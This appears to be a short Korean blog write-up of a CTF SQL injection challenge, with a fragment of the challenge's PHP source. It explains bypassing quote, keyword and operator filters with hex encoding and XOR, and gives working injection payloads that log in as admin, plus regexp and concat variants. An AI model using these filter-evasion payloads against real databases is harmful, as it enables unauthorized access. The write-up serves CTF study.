write-up/CTF

h3x0r CTF

범고래_1 2017. 1. 8. 07:04

2017.01

h3x03 CTF

SQLi 2


".$query."


"; $result = $mysqli->query($query); $result = @mysqli_fetch_array($result); if ($result['id'] === 'admin') { die($flag); } else if(isset($result['id'])) { echo "

Hello {$result['id']}

"; } } highlight_file(__FILE__); //made by ch4n3 ?>




필터링이 상당히 빡세다. u가 필터링되있어서 substr 등 못쓴다.
order by, group 등 다 안된다.
like, =, in 다 막혀있다. 쿼터도 막혀있다.
쿼터는 hex로 우회하고, like는 XOR연산으로 우회한다.

조건을 세 개 주고 뽑았다.
0. a로 시작
1. 5글자
2. 두 번째 글자는 b

0번 조건만 주면 adadadmin 이렇게 뽑힌다. 그래서 5글자 조건을 준다.
0, 1번 조건만 주면 afmin 이렇게 뽑히고..
그래서 마지막 조건까지 준 것이다.....

페이로드
?id=\&pw=))||if(hex(left(id,1))^61,False,1) && if(length(id)^5,False,1) && if(hex(mid(id,2,1))^64,False,1) #

정규식 이용
where id regexp "^admi"
where id regexp concat("adm", "in")

신규 페이로드
where length(id)<6 && hex(left(id,2)) < 6165 #
where id in (concat("admi", "n")) #


'write-up > CTF' 카테고리의 다른 글

tuctf2018 lisa  (0) 2019.01.09